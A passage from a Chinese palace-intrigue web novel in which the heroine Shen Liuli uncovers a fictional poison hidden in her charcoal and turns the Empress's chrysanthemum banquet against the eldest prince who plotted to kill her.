他不再有
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任何犹豫,对着身后的狼卫,打出了一个进攻的手势!
他要趁着这片混乱,将水搅得更浑!
“杀!”
几名狼卫从集装箱和渔网的后方暴起!他们没有发出任何多余的呐喊,只有刀锋划破空气时的锐响。他们的目标明确而统一,那个刚刚走下商船,手中提着一个不起眼铁盒的信使!
这场突如其来的变故,让那伙黑衣**也当场愣住了。
“哪里来的杂碎?!敢抢我们的生意?!”为首的**头目怒喝一声,眼中闪过了一抹狠戾。
然而,他没有时间思考了。
因为,那个看似只是个普通信使的男人,在两股杀气同时锁定他的瞬间,竟做出了一个让所有人都意想不到的反应。
他没有逃,也没有躲。
他只是将手中的铁盒,猛地朝天上一抛!随即,他整个人如同猎豹一般,不退反进,竟主动朝着那伙黑衣**冲了过去!他腰间的软剑不知何时已经出鞘,剑光如蛇,狠辣无比!
“螳螂捕蝉,黄雀在后?”信使的声音,沙哑而冰冷,“就怕你们这群黄雀,没长一副好牙口!”
他竟也是个一等一的好手!
一瞬间,小小的码头上,便上演了一出三方混战的戏码!
大皇子府的信使武功高强,招式大开大合,显然是军中路数,他以一人之力,竟硬生生地拖住了七八名黑衣**。
而那伙神秘的黑衣**,配合默契,身法诡异,他们的目标只有一个,便是那个在半空中不断翻滚的铁盒!
可他们真正的噩梦,是陆风和他率领的狼卫!
如果说前两者是凶狠的豺狼,那么狼卫,便是来自北境冰原的狼王!
他们的刀更快!他们的配合更精妙!
“噗嗤——!”
一名黑衣**,刚刚跃起,试图去抢夺那个铁盒,一道黑影便出现在了他的身后。
刀光一闪,血光迸现!
那名**甚至连一声惨叫都没能发出,便重重地摔倒在地,喉咙上多了一道深可见骨的血痕。
“这……这是什么人?!”**头目看着自己的人,如同被割麦子一般倒下,心中掀起了滔天巨浪!
他本以为,自己这次带来的都是精锐,足以完成任何任务。可在这群戴着恶狼面具的怪物面前,竟连一丝一毫的反抗之力都没有!
“撤!快撤!”他嘶声力竭地吼道,自己则第一个,转身就想逃跑。
然而,陆风的身影,不知何时已经出现在了他的身后。
“想走?”陆风的声音,不带任何感情,“留下你们主子的名字。”
“我呸!”那头目也是个狠角色,他知道自己今日在劫难逃,竟是猛地一咬舌尖,喷出一口血雾,同时反手一扬,数枚闪烁着寒光的铁蒺藜朝着陆风的面门激射而去!
陆风不闪不避,手中的战刀在空中划出一道完美的圆弧,只听“叮叮叮当”一阵脆响,所有的铁蒺藜竟被他尽数磕飞!
可就在这短暂的耽搁中,那头目竟已带着剩下的三四名残兵,头也不回地遁入了沉沉的夜色中。
第72章 牵机再现
陆风没有去追。
因为,他的目标从来都不是这些杂鱼。他缓缓地转过身,看向了那个,还在与两名狼卫缠斗的信使。
此刻的信使,早已是**之末。他的身上,布满了深浅不一的伤口,握剑的手都在微微发抖。
他看着眼前这两个没有任何感情的“恶狼”,眼中终于露出了绝望。
“你们……到底是谁的人?”他嘶哑地问道。
陆风没有回答,只是伸出手。
那个在半空中,早已被三方人马争夺了数次的铁盒,此刻正稳稳地落在了他的掌心。
信使看着这一幕,惨笑一声。他知道,自己今夜必死无疑。
他猛地仰起头,发出了一声不甘的怒吼,竟是主动地朝着一名狼卫的刀锋上,撞了过去!
“噗嗤——!”
利刃入体,血溅三尺。
他竟是选择了,用这种最决绝的方式,结束了自己的生命。
“是个汉子。”陆风难得地发出了一声赞许,“只可惜,跟错了主子。”
陆风看着那具缓缓倒下的尸体,眉头微蹙。
他走上前,在那信使的身上仔细地摸索了片刻,最终,从他的内衬夹层里,找到了一枚小小的用蜡丸封好的令牌。
正是那块,足以掀起滔天巨浪的狼卫令牌!
他缓缓地将其捏碎,看着那熟悉的狼头图腾,陆风那张冷峻的脸上,终于露出了一抹如释重负。
他打开铁盒,将里面那封,由大皇子亲笔所写的密信取出,又将沈琉璃早已备好的“假信”放入其中。做完这一切,他将铁盒重新封好,交给了身旁的一名狼卫。
“按计划行事。”他沉声吩咐道,“将此物送到大徽去。”
“是!”
那名狼卫没有半分犹豫,接过铁盒,身影便悄无声息地融入了夜色之中。
然而,就在陆风准备,带着剩下的人手,返回都城的时候。
一名负责清理战场的狼卫,忽然有了新的发现。
“统领!”他将一枚从黑衣**尸体上搜出的令牌,呈了上来,“您看这个!”
陆风接过令牌,只看了一眼,他的瞳孔骤然收缩!
那令牌,并非金铁所制,而是用一种不知名的兽骨打磨而成,上面刻着一个极其古怪的图腾。
那是一朵,盛开在佛光之中的……
黑色莲花!
……
与此同时,乾国都城,尚书府。
沈琉璃正坐在窗前,看着窗外的梧桐树,静静地发着呆。
这已经是第六日了。
每日清晨,御药房的“安神汤”都会准时送达。
她的“病情”,似乎也真的“好转”了起来。可只有她自己知道,这风平浪静的湖面下,正涌动着何等汹涌的暗流。
“小姐,您就别看了。”春桃将一件新做的狐裘,轻轻地披在了她的身上,小声地劝道,“外面风大,小心着凉了。陆风将军他们吉人自有天相,一定会没事的。”
“我知道。”沈琉璃点了点头,可心中的那份不安,却怎么也挥之不去。
“哼,妇人之仁。”君北玄在她脑中,冷冷地说道,“兵者,国之大事,死生之地,存亡之道,岂能寄希望于‘吉人天相’这种虚无缥缈的东西?本王当年出征,每一次都做好了马革裹尸的准备。”
“王爷……”沈琉璃在心里,有气无力地回敬了一句,“您是不是忘了,您现在已经‘马革裹尸’过了,而且还是被人从背后捅的刀子。”
君北玄:“……”
他再一次,被这个女人给噎得,差点当场魂飞魄散。
就在这一人一鬼,在脑海里进行着日常互怼的时候。
晚晴居的院门,被轻轻地敲响了。
是忠叔。
他的脸上,带着几分压抑不住的喜悦。
“小姐!”他快步走了进来,将一封用蜜蜡封好的信,呈了上来,“陆风将军,有消息传回了!”
沈琉璃的心,猛地一跳!
她颤抖着手,接过那封信,将其展开。
信上的内容很短,只有寥寥数语。
“任务已成,信使已除,令牌已获。”
“另有发现,黑莲为记,疑与安王有关。”
“三日之内,必归。”
当沈琉璃看到“黑莲为记,疑与安王有关”这几个字时,她只觉得浑身的血液,都快要凝固了。
她所有的猜测,在这一刻都得到了印证!
安王!
果然是他!
然而,就在她准备,将这个惊天的消息,与君北玄分享的时候。
信纸的背面,一行用朱砂写就的,极其潦草的字迹,映入了她的眼帘。
那字迹,她认得,是顾九那个酒鬼的。
上面只写了一句话。
“主公当心,‘牵机’之毒,已入都城!”
“小姐,您……您的脸色怎么这么难看?”春桃看着自家小姐那张瞬间失去血色的脸,“是不是陆风将军他……”
“陆风没事。”沈琉璃缓缓地将信纸折起,声音平静得有些可怕,“有事的是我们。”
她抬起头,看向忠叔。
“忠叔,从现在起,晚晴居内外,所有入口,派双倍人手看守。”她的声音不大,却字字清晰,“特别是厨房,从采买到烹饪,每一个环节,都必须由您亲自过目。任何外人送来的食物、茶点、乃至一针一线,都给我扔出去,一件不留!”
“是!”忠叔虽然不知道发生了什么,但他没有多问一个字,只是重重地点了点头,转身快步离去。
“小姐,到底出什么事了?”春桃急得快要哭出来了。
沈琉璃没有回答,她只是走到窗边,看着窗外那片熟悉的庭院。
“来不及了。”君北玄的声音,在她脑海中响起。
“什么来不及了?”
“我说,你的这些布置,已经太晚了。”君北玄继续说道,“‘牵机’之毒,是大徽宫廷用来清除‘自己人’的秘药,其下毒手法,讲究的是无声无息,润物无声。你以为,敌人会蠢到,用‘食物’这种最容易被察觉的方式来对付你吗?”
“一个合格的刺客,在动手之前,早已将目标的每一个习惯,每一个弱点都研究得清清楚楚。他既然敢让顾九知道‘牵机’已入都城,就说明他有绝对的把握,能将此毒,用一种你绝对意想不到的方式,送到你的面
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前!”
君北玄的这番话,让沈琉璃的心,沉入了谷底。
是啊,她能想到的,敌人又岂会想不到?
晚晴居的防御,看似密不透风,可对于一个顶尖的用毒高手而言,或许早已是千疮百孔。
“那……那会是什么?”她的声音里,带上了几分颤抖。
“不知道。”君北玄的回答,简单直接,“但我们必须在最短的时间内,把它找出来!”
一场无声的排查,在晚晴居内,悄然展开。
春桃早已吓得六神无主,她带着几个最可靠的丫鬟,将房间里的每一个角落,都翻了个底朝天。
熏香、胭脂、新做的衣物、甚至连床榻的帷幔,都被一一取下,仔细地检查着。
可一个时辰过去了,她们一无所获。
“小姐,都查遍了,什么都没有啊。”春桃哭丧着脸,几乎要瘫倒在地。
沈琉璃的眉头,也紧紧地锁了起来。
“不对,一定有我们忽略了的地方。”君北玄的声音,在她脑海中响起,“再想!仔细想!你这几日的生活,除了吃穿用度,还有没有接触过什么,平日里不会注意到的东西?!”
平日里不会注意到的东西……
沈琉璃的目光,在房间里缓缓地扫视着,最终,她的目光落在了,早已燃尽的银丝炭盆上。
炭……
一个念头,如同闪电般,划过了她的脑海!
“春桃!”她猛地站起身,“这几日,我们房里用的银丝炭,是从哪里采买的?!”
“银丝炭?”春桃一愣,随即答道,“还是跟以前一样,是从府里的库房领的呀。因为小姐您畏寒,所以用的都是最上等的‘乌金’银丝炭,无烟无味,最是暖和了。”
“立刻!去把剩下的炭,都给我拿过来!”
片刻之后,一盆看起来再寻常不过的银丝炭,被端到了沈琉璃的面前。
这些炭,通体漆黑,质地坚硬,看起来与平日里用的,没有任何区别。
“有什么问题吗?”君北玄也充满了困惑。
沈琉璃没有回答,她只是从盆中,捻起了一块木炭,放在鼻尖轻轻一嗅。
果然!
在那股淡淡的木香之下,隐藏着一股若有若无的甜香!
那味道,与她之前在靖亲王府,闻到的那碗银耳羹里的杏仁味,如出一辙!
“找到了。”她的声音,冰冷得可怕。
“什么?!”君北玄也反应了过来,“他们竟将毒,下在了木炭里?!”
“好一招‘釜底抽薪’。”沈琉璃冷笑一声,“他们知道我畏寒,每日都离不开炭盆,便将这‘牵机’混入了木炭中。此毒遇火则发,会随着炭火的热气,悄无声息地散发到空气里。我每日都身处其中,不出七日,便会死于一场‘风寒’。”
这等歹毒的心思,这等精妙的手段,让在场的所有人,都不寒而栗!
“岂有此理!”春桃气得浑身发抖,“府里的库房,不是一直由忠叔的人看着吗?怎么会……”
“内鬼,是防不住的。”沈琉璃摇了摇头,“大皇子既然敢动手,必然早已在府里,安插了不止一个棋子。”
第73章 血色嫁衣
“那……那我们现在该怎么办?”春桃的声音里,带上了哭腔,“小姐,您这几日一直都待在房里,您是不是已经……”
“放心,”沈琉璃打断了她,“我没事。”
“为何?”君北玄也充满了不解,“你明明已经吸入了不少毒气。”
“您忘了,我胸前还挂着您这‘百毒不侵’的护身符呢。”沈琉璃在心里,难得地开了一句玩笑。
她伸出手,轻轻地触摸着胸前那枚,早已与她融为一体的孤狼坠。
坠身冰凉,却仿佛有一股无形的暖流,正源源不断地涌入她的四肢百骸,将那些侵入她体内的寒毒,尽数化解。
“原来如此。”君北玄恍然大悟,“本王常年与毒物打交道,早已是百毒不侵。我的魂魄与你相连,竟也能为你抵御这等奇毒。”
“王爷,您这可不是‘百毒不侵’。”沈琉璃在心里,纠正道,“您这叫‘以毒攻毒’,您自己就是个毒舌,寻常的**见了您,都得绕道走。”
君北玄:“……”
他再一次,被这个女人给气得,差点当场消散。
就在此时,晚晴居的院门,再次被敲响了。
是忠叔。
他的脸上,满是凝重。
“小姐,”他快步走了进来,将一封烫金的请柬呈了上来,“宫里来人了。”
沈琉璃接过请柬,将其展开。
“皇后娘娘有旨,”忠叔压低声音道,“听闻小姐您‘病情’好转,心中甚是欢喜。特于三日后,在宫中设下‘赏菊宴’,邀请了都城所有三品以上官员的家眷。并指名道姓,要您务必出席。”
“赏菊宴?”沈琉璃看着那封请柬。
“好一招‘图穷匕见’。”君北玄的声音,也变得无比凝重,“他们在暗杀失败后,终于失去了耐心。他们要在光天化日之下,在所有人的面前,将你置于死地!”
“没错。”沈琉璃点了点头,“这哪里是什么‘赏菊宴’,这分明就是一场,为我准备的鸿门宴。”
“那你打算如何?”君北玄问道,“称病不去?这虽然会落人口实,却是眼下最稳妥的办法。”
“不。”沈琉璃摇了摇头,“我若不去,便等于坐实了自己心虚。届时,他们便有一百种方法,可以给我扣上藐视中宫的罪名。”
“所以,我不仅要去。”她坚定地说道,“我还要,漂漂亮亮地去。”
“我不仅要赴宴,我还要在这场鸿门宴上,为他们所有人,送上一份大礼!”
她转头,看向了忠叔。
“忠叔,”她的声音充满了力量,“传我的话给顾九先生。”
“就说,我需要他,为我准备一份,能让所有人都‘大开眼界’的药。”
“另外,”她又看向了春桃,“你去一趟揽月楼,将我们最好的绣娘,都给我请到府上来。”
“我要在三日之内,为自己赶制出一件,全天下独一无二的……”
“血色嫁衣!”
“小……小姐,”春桃的声音,带着哭腔,“您说什么胡话呢?什么血色嫁衣?多不吉利啊!咱们是要去赴宴,又不是……”
她“呜”的一声,后面的话再也说不下去,眼泪如同断了线的珠子,滚滚而下。在她朴素的认知里,这简直就是最恶毒的诅咒。
忠叔虽然没有说话,但他那双布满了忧虑的眼睛,也同样说明了一切。
“胡闹!”君北玄的声音,更是在沈琉璃的脑海中,毫不客气地炸响,“本王承认,你之前的计策确实有几分可取之处。但这一次,你是不是被吓糊涂了?血色?那是战场上最不吉利的颜色!你这是在为自己,提前准备寿衣吗?!”
这是一个身经百战的将军,最直接的判断。
面对盟友们集体的质疑,沈琉璃却显得异常平静。
“王爷,”她在心里,耐心地解释道,“您是不是忘了,我这次要去的是宴会。我要面对的,是一群人的眼睛和嘴巴。”
“我要的,不是隐蔽。”她的声音,变得无比坚定,“恰恰相反,我要的是瞩目!我要让所有人的目光,从我踏入宴会的那一刻起,就再也无法从我身上移开!我要让他们所有人都清清楚楚地看到,我沈琉璃,是如何走进这场鸿门宴的!”
君北玄沉默了。
他发现,自己低估了这个女人的疯狂。
她竟是要用这种方式,将自己变成一个祭品,一个足以将所有人都拖下水的,最完美的祭品!
“忠叔,”沈琉璃没有再理会脑中的鬼王爷,“我知道您在担心什么,但请您相信我,我比任何时候都更清醒。”
她将一封密信,递到了忠叔的面前。
“您将此信,亲手交给顾九先生。”她缓缓说道,“告诉他,信上的内容,以及我刚才的吩咐。他那么聪明,自然会明白,我需要他为我准备的,到底是一份什么样的‘大礼’。”
忠叔看着自家小姐的眼睛,最终还是点了点头。
“是,小姐。”他将信小心翼翼地收入怀中,“老奴这就去办。”
“春桃,”沈琉璃又看向那个,早已哭成了泪人的丫鬟,“擦干眼泪,你现在立刻去一趟揽月楼。将我们最好的绣娘,都给我请到府上来。记住,要快,也要悄无声息。”
“小姐……”
“去吧。”沈琉璃的声音,不容置疑,“我还需要你,帮我一起,完成这件独一无二的‘作品’呢。”
……
半个时辰后,揽月楼,后院。
当顾九看到密信,又听完忠叔的转述后。
“血色嫁衣?鸿门宴?”他啧啧称奇,将手中的酒葫芦往桌上重重一放,脸上露出了一个兴奋的笑容,“有意思,真是有意思!我们这位主公,真是天底下最会玩火的疯子!”
“顾先生!”忠叔看着他这副唯恐天下不乱的模样,急得直跺脚,“都什么时候了,您还有心思开玩笑!小姐她这次,可是把自己的命都给押上去了啊!”
“我知道,我知道。”顾九不耐烦地摆了摆手,他站起身,在房间里来回踱步。
“‘牵机’之毒,无色无味,入喉即化,死状如风寒……想要在众目睽睽之下,让所有人都相信,她是在宴会上中的毒,而不是旧疾复发……”他喃喃自语,随即猛地一拍大腿!
“有了!”
他快步走到药柜前,从一个不起眼的角落里,取出了一个用黑布包裹
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得严严实实的小瓷瓶。
“忠叔,”他将瓷瓶递了过去,“您将此物带回去,交给主公。”
“这是什么?”
“这叫‘惊鸿’。”顾九的嘴角,勾起一抹坏笑,“此物无毒,唯一的功效嘛,就是能让服用者,在一个时辰之内,血脉逆行,气色红润,看起来比平日里,还要健康三分。只不过嘛……”
他顿了顿,补充道:“一个时辰之后,药效一过,服用者的脸色,便会瞬间变得惨白如纸,状若厉鬼。届时,再配上‘牵机’的毒性发作……”
“那场面,啧啧,保证让在场的所有人,都永生难忘。”
忠叔看着手中那个小小的瓷瓶,只觉得浑身冰冷。他知道,自己这位主公身边的人,就没有一个是正常的。
……
与此同时,春桃也已带着三名揽月楼的绣娘,悄无声息地回到了晚晴居。
当那三位绣娘,看到沈琉璃亲手绘制出的“嫁衣”图样时,都忍不住倒吸了一口冷气。
这根本不是一件传统意义上的嫁衣!
其样式之大胆,剪裁之繁复,简直是闻所未闻!尤其是那如同火焰般燃烧的裙摆,和那如同血色凤凰展翅的刺绣图样,更是充满了惊心动魄的美感!
“沈……沈小姐,”为首的张绣娘,看着这张图纸,声音都在发颤,“此等样式的衣裙,老身闻所未闻。只是,这工期……”
“我知道,只有三日,时间很紧。”沈琉璃看着她们,“所以,我才需要三位师傅,助我一臂之力。”
她没有许以重金,只是对着这三位宗师级别的人物,深深一拜。
“此事,事关我沈家上下,乃至我本人的生死荣辱。”她的声音,充满了真诚,“三位师傅的这份恩情,琉璃此生不忘。”
那三位绣娘看着眼前这个少女,心中竟没来由地生出了一股豪情。
“小姐放心!”张绣娘第一个点了点头,“别说是三日,便是只有一日!我们姐妹三人,便是熬干了心血,也定为小姐您,赶制出这件独一无二的战袍!”
……
就在晚晴居内,为了三日后的那场鸿门宴,而灯火通明的时候。
大皇子府的书房内,也同样亮着灯。
“殿下,”幕僚将一份刚刚从宫中传出的宾客名单,呈了上来,“皇后娘娘的赏菊宴,一切都已安排妥当,沈琉璃也已接了旨。”
“很好。”李裕的脸上,露出了笑容。
“那‘牵机’呢?”
“回殿下,也已备好。”那幕僚压低声音道,“微臣已经买通了当日负责上茶的小太监。届时,只需将此毒,混入专为沈琉璃准备的‘雨前龙井’中,便可神不知鬼不觉。”
“记住,”李裕叮嘱道,“此事,做得一定要干净。孤要的,不是一个暴毙的钦犯,而是一个‘旧疾复发,不幸病故’的弱女子。”
“殿下放心,”那幕僚谄媚地笑道,“届时,便是太医院的太医前来查验,也只会得出一个‘心神耗损,油尽灯枯’的结论,谁也怪不到我们头上。”
“很好。”李裕满意地点了点头。
沈琉璃……
这一次,我看你还如何,绝处逢生!
第74章 最后的棋子
三日时光,如白驹过隙。
对乾国都城的百姓而言,这不过是寻常的三个日夜。但对于晚晴居内的方寸天地来说,每一分每一秒,都像是在与死神赛跑。
三位从揽月楼请来的绣娘,几乎是三天三夜未曾合眼。
晚晴居的偏厅内灯火通明,数十支烛火将房间照得亮如白昼。她们的手指在鲜红的锦缎上飞速穿梭,金色的丝线如同被赋予了生命。
春桃早已成了这间临时工坊里的杂役,端茶送水,剪线递针,忙得脚不沾地。她看着那件日益成型的嫁衣,心中的不安,渐渐被一种悲壮的豪情所取代。
她不知道自家小姐到底要做什么,但她知道,这件衣裳是小姐奔赴战场时,最华丽的战袍。
而沈琉璃本人,却显得异常平静。
她没有再理会任何俗务,只是每日安静地坐在窗边,烹茶、看书,仿佛对即将到来的风暴毫不在意。
“你倒是清闲。”君北玄的声音,在她脑海中响起,“大敌当前,你竟还有心思看这些风花雪月的闲书?本王若是你的主帅,现在就要将你拖出去打二十军棍!”
“王爷,您别急。”沈琉璃翻过一页书,不紧不慢地回应,“您是将军,您习惯了在战前,将所有的兵力都调动到一线,讲究的是‘兵贵神速’。可我不是将军,我是个棋手。棋手在落子之前,最需要的不是喧哗,是安静。”
“歪理邪说!”君北玄冷哼一声,“那你倒是说说,你这几日除了看书饮茶,还‘落’了什么子?”
“我落的子,您看不见。”沈琉璃笑了笑,“但很快,您就会听到它们的声音了。”
就在她话音落下的第二天清晨,都城中,一则看似不起眼的“八卦”,开始在高门贵妇的茶会中,悄然流传。
“哎,你们听说了吗?尚书府那位沈大小姐,最近好像又添了些新毛病。”
“哦?什么毛病?”
“听说啊,是对一种南边来的,叫‘金铃子’的花,过敏得厉害。前几日,府里的小丫鬟不知从哪弄来一盆,结果沈大小姐只是闻了一下,便当场就起了红疹,差点喘不上气来呢!”
“这么厉害?我怎么从未听说过,这金铃子还有此等功效?”
“谁说不是呢!听说啊,此物与寻常花粉不同,它无色无味,寻常人闻了不仅没事,反而还觉得心旷神怡。唯独对体质特殊的人,才会产生剧毒。太医院的张院使都说了,此乃天生的‘相冲’之症,药石罔效,只能避之大吉。”
这则流言,传得有鼻子有眼,绘声绘色。
而所有人都不知道的是,这则流言的源头,正是揽月楼的李妈妈。
而所谓的“金铃子”,也确实是一种极其罕见的观赏性花卉。整个乾国都城,也只有一处地方,小范围地培植了几株。
那便是,二皇子李昭的府邸。
……
与此同时,另一枚棋子,也已悄然落下。
三皇子府,书房。
当李琰看完忠叔带来的,由沈琉璃亲笔所写的密信后,他的脸上露出了前所未有的凝重。
“你是说……”他看着忠叔,不敢置信地说道,“表妹她要以自身为饵,在皇后娘娘的赏菊宴上,引蛇出洞?!”
“是。”忠叔重重地点了点头,“小姐说,此事事关重大,一旦功成,便可将大皇子**,连根拔起!但,此计也凶险万分,需要殿下您在最关键的时候,递上最致命的一刀。”
李琰在书房内来回踱步,心中天人交战。
他知道,这是一个千载难逢的机会。可他更知道,一旦失败,沈琉璃将万劫不复!
“不行!”他猛地停下脚步,“此计太过冒险!孤不能让你家小姐,去冒这个险!”
“殿下,”忠叔看着他,缓缓地摇了摇头,“您还不明白吗?从大皇子对小姐动了杀心的那一刻起,小姐她便早已没了退路。”
“我们现在,不是在选择‘冒险’,我们只是在选择一种能让我们活下去的死法。”
忠叔的这番话,让李琰的心狠狠揪了一下!
是啊,他们早已没了退路。
“好。”最终,他从牙缝里挤出了这个字。
他从书案的暗格中,取出了一份卷宗,交到了忠叔的手中。
“你将此物,带回去交给你家小姐。”他沉声说道,“告诉她,三日后的宴会上,孤会亲自为她敲响战鼓!”
……
赏菊宴,如期而至。
这一日,皇宫的御花园内,百菊争艳,金桂飘香,一派祥和的景象。
皇后韦氏高坐于主位上,脸上挂着雍容华贵的笑容,接受着众位贵妇的朝贺。
大皇子李裕,则侍立于她的身侧。他的目光,不时地扫过宴会的入口。
二皇子李昭,依旧是那副与世无争的模样,独自一人坐在最不起眼的角落里,安静地品着茶,仿佛对周围的一切都漠不关心。
而三皇子李琰,则与几位宗室的叔伯们谈笑风生,看起来,似乎也早已忘了与大哥之间的争斗。
所有的一切,都显得那么地正常。
直到,太监一声悠长的唱喏,划破了这片虚伪的平静。
“——尚书府,沈大小姐,到!”
一瞬间,整个御花园,所有人的目光,都齐刷刷地投向了这个缓缓走来的身影。
只见沈琉璃身着一身血色长裙,裙摆上,用金线绣成的凤凰,在阳光下熠熠生辉,仿佛随时都会展翅高飞!
她没有佩戴任何多余的首饰,只是将一头青丝,用一根简单的凤钗高高挽起。脸上,更是未施粉黛,可她的气色,却好到一种令人发指的地步!
那是一种,由内而外散
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发出的充满了生命力的红润!
她一步一步地走来,那强大的气场,竟将在场所有争奇斗艳的贵女们,都压得黯然失色!
“这……这……”
“她疯了吗?!竟敢穿一身红衣来赴宫宴?!”
“可……可她真的好美啊……”
所有人的心中,都掀起了滔天巨浪!
而坐在主位上的大皇子李裕,在看到沈琉璃的那一刻,脸上的笑容也瞬间凝固了!
他本以为,自己会看到一个,因为恐惧而面无人色的“猎物”。可他看到的,却是一只,身披华羽,骄傲地走向祭台的凤凰!
“好一招‘先声夺人’。”君北玄在她脑中,发出了一声由衷的赞叹,“你这个女人,真是天生就该活在戏台子上。”
沈琉璃没有理会他的调侃,她走到大殿中央,对着主位上的皇后盈盈一拜。
“罪臣之女沈琉璃,参见皇后娘娘,娘娘万福金安。”
她的声音,清脆悦耳,不卑不亢。
“起来吧。”皇后韦氏缓缓开口,“听闻你前几日受了惊吓,身子不适,今日看着气色倒还不错。”
“多谢娘娘挂念。”沈琉璃站起身,脸上露出了笑容,“都是托了陛下的洪福,每日里有御药房的‘安神汤’滋养着,臣女的身子早已大好了。”
她特意在“安神汤”三个字上,加重了语气。
随即,她又像是想起了什么,从春桃的手中,接过了一个精致的锦盒,呈了上去。
“娘娘,”她笑着说道,“听闻您最喜菊花,臣女不才,亲手为您备了一份薄礼,还望娘娘不要嫌弃。”
锦盒打开,里面静静地躺着的,竟是一盒,用菊花花瓣和蜂蜜,精心炮制而成的菊花糕。
那糕点,做得极其精美,每一块都呈一朵盛开的菊花状,上面还用金箔,点缀着花蕊,看起来煞是好看。
“你有心了。”皇后点了点头,示意身边的女官收下。
然而,就在此时,大皇子李裕却忽然开了口。
“沈大小姐这份心思,倒是别致。”他笑着说道,“只是,母后她一向不喜甜食,你这份礼物,怕是要辜负了。”
他这是在暗讽沈琉璃,马屁拍到了马腿上。
“是吗?”沈琉璃却像是没有听出其中的意味。
“可我怎么听闻,娘娘您前几日,还因为偶感风寒,胃口不佳,特意让御膳房备了些开胃的甜粥呢?”
她顿了顿,又像是想起了什么,补充道:“哦,对了,那甜粥里,似乎还加了一味,能安神定气的‘金铃子’的花粉呢。”
当“金铃子花粉”这五个字,从沈琉璃的唇间落下时。
大皇子李裕脸上的笑容,彻底凝固了。
他的心猛地一沉,一股前所未有的寒意,袭遍全身!
她怎么会知道?!
第75章 鸿门宴
“金铃子”之事,是李裕为了嫁祸二弟,走得极其隐秘的一步暗棋!除了他和几个心腹,绝不可能有其他人知道!
这个**,她到底是从哪里得知的消息?!
而在主位上,皇后韦氏的脸上,也缓缓地收起了笑容。她看着沈琉璃,不易察觉地眯起了眼睛。
她不喜欢甜食,这是整个后宫都知道的事。可前几日,她确实因为风寒而胃口不佳,御膳房也确实为她备了些开胃的甜粥。
至于那粥里,到底有没有加什么“金铃子”,她一个高高在上的主子,又岂会去关心这等细枝末节?
可现在,这个本该是秘密的细节,竟被一个外人,当着这么多人的面,轻描淡写地说了出来。
这本身,就是一种冒犯!
“沈大小姐,”她的声音,带上了几分不易察觉的冷意,“你倒是心细,竟连本宫的饮食起居,都打探得如此清楚。”
这句话,看似平淡,实则暗藏杀机!
一个臣女,竟敢窥探中宫内闱之事,这是足以让她万劫不复的大罪!
“完了!”君北玄在她脑中,也忍不住低喝一声,“这个老妖婆,比她儿子还难对付!她这是在偷换概念,想用‘藐视宫规’的罪名,来压死你!”
沈琉璃的心,也提到了嗓子眼。
她知道,自己这步棋走得极险,一旦行差踏错,便会满盘皆输。
她“噗通”一声,跪倒在地,脸上露出了委屈的表情。
“娘娘明鉴!”她抬起头,声音里带上了几分颤抖,“臣女不敢!臣女绝无半点窥探后宫之心!”
“那你是如何得知的?”皇后不依不饶地追问道。
“是……”沈琉璃低着头,将早已编排好的说辞,娓娓道来,“娘娘有所不知,我们揽月楼为了研发新的茶点,会定期向宫中采办的公公们,了解宫中贵人的饮食习惯。那‘金铃子’,便是前几日,从一位采办小公公的手中,无意中得知的。”
“臣女当时,只是觉得此物香气别致,便多嘴问了一句。那小公公说,此乃二殿下,特意从江南寻来,有安神定气之奇效。臣女听闻,心中还暗自感佩二殿下的孝心,却不想今日,竟会因此而冒犯了娘娘,臣女罪该万死!”
她这番话,说得天衣无缝!将所有的“罪责”,都推到了那个,早已被她设定好的替罪羊身上!
二皇子,李昭!
果然,皇后在听完她这番话后,紧绷的脸上,稍稍缓和了几分。她将信将疑的目光,投向了那个从始至终都一言不发的二儿子。
而大皇子李裕,在听到沈琉璃,将祸水引向二弟时,心中虽然恼火,却也暗暗地松了一口气。
只要火不烧到自己身上,他乐得坐山观虎斗。
“老二,”皇后缓缓开口,“可有此事?”
二皇子李昭这才缓缓地放下手中的茶杯,站起身来,对着皇后躬身一拜。
“回母后,确有此事。”他的脸上带着温和的笑容,“儿臣前些时日,得了一株‘金铃子’,见其香气别致,有静心之效,便想着献给母后,聊表孝心。只是未曾想,竟会因此而引出误会,是儿臣思虑不周了。”
他这番话,说得滴水不漏,将自己摘得干干净净。
“哼,好一个思虑不周。”君北玄在她脑中,冷笑一声,“这个家伙,比他大哥还能演。”
眼看,这场风波就要被糊弄过去。
沈琉璃知道,自己必须再添一把火!
“原来如此。”她恍然大悟地点了点头,怯生生地说道:“娘娘,那您这几日,可曾觉得身体有何不适?譬如,头晕、胸闷,或是皮肤上起了些许红疹?”
这句话,如同一根无形的针,狠狠地刺在了皇后的心上!
“放肆!”她猛地一拍桌子,凤颜大怒,“沈琉璃!你这是在咒本宫吗?!”
“臣女不敢!”沈琉璃吓得,连忙将头重重地磕在地上,“臣女只是因为,天生与这‘金铃子’相克!此物,于旁人而言,是安神定气的良药。可于臣女而言,却是穿肠刮骨的剧毒!”
“臣女方才,只是闻了一下娘娘您袖口沾染的香气,便已觉得头晕目眩,心跳加速,臣女实在是担心,娘娘您……”
她没有再说下去,但那未尽之意,却让在场所有人的脸色都变了!
相克?剧毒?!
皇后韦氏的脸色,在一瞬间变得无比难看!
她下意识地抬起自己的手腕,仔细地闻了闻。果然,在淡淡的龙涎香下,隐藏着一股,若有若无的花香味。
她的心,猛地一沉!
她虽然不全信沈琉璃的鬼话,但为人主者,最忌讳的便是这种发生在自己眼皮子底下的意外!
“来人!”她对着身后的女官,厉声喝道,“去!将御膳房的管事,给本宫叫来!”
……
片刻之后,一名身着总管服饰的胖太监,连滚带爬地跑了进来,跪倒在地。
“奴才参见皇后娘娘!”
“本宫问你,”皇后的声音,冰冷得不带任何感情,“前几日本宫风寒,你所呈上的甜粥里,可曾加过什么‘金铃子’花粉?”
那总管太监一愣,随即连忙磕头道:“回娘娘,确有此事。是大皇子殿下体恤娘娘凤体,特意吩咐奴才,在粥里加了些二殿下孝敬的‘金铃子’,说是能安神定气,有助您安眠。”
他本以为,自己这番话,能将两位皇子都给捧上。
可他却不知道,自己这句话,却等于是在一桶被浇满了油的烈火上,又扔进了一根火把!
大皇子?!
皇后韦氏的目光,如同一把利剑,死死地盯住了,早已是面无人色的大儿子!
而大皇子李裕,此刻早已是百口莫辩!
他怎么也没想到,自己当初为了嫁祸二弟,随口吩咐的一句话,竟会在此刻,成为将自己拖入深渊的催命符!
“母……母后……”他“噗通”一声跪了下来,语无伦次地辩解道,“儿臣也是一番好意啊!儿臣并不知道,这……”
“够了!”
皇后一声怒喝,打断了他。
她
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看着眼前这个,自己最疼爱的儿子,眼中充满了失望与愤怒!
然而,就在这剑拔**张,一触即发的时刻!
“呃……”
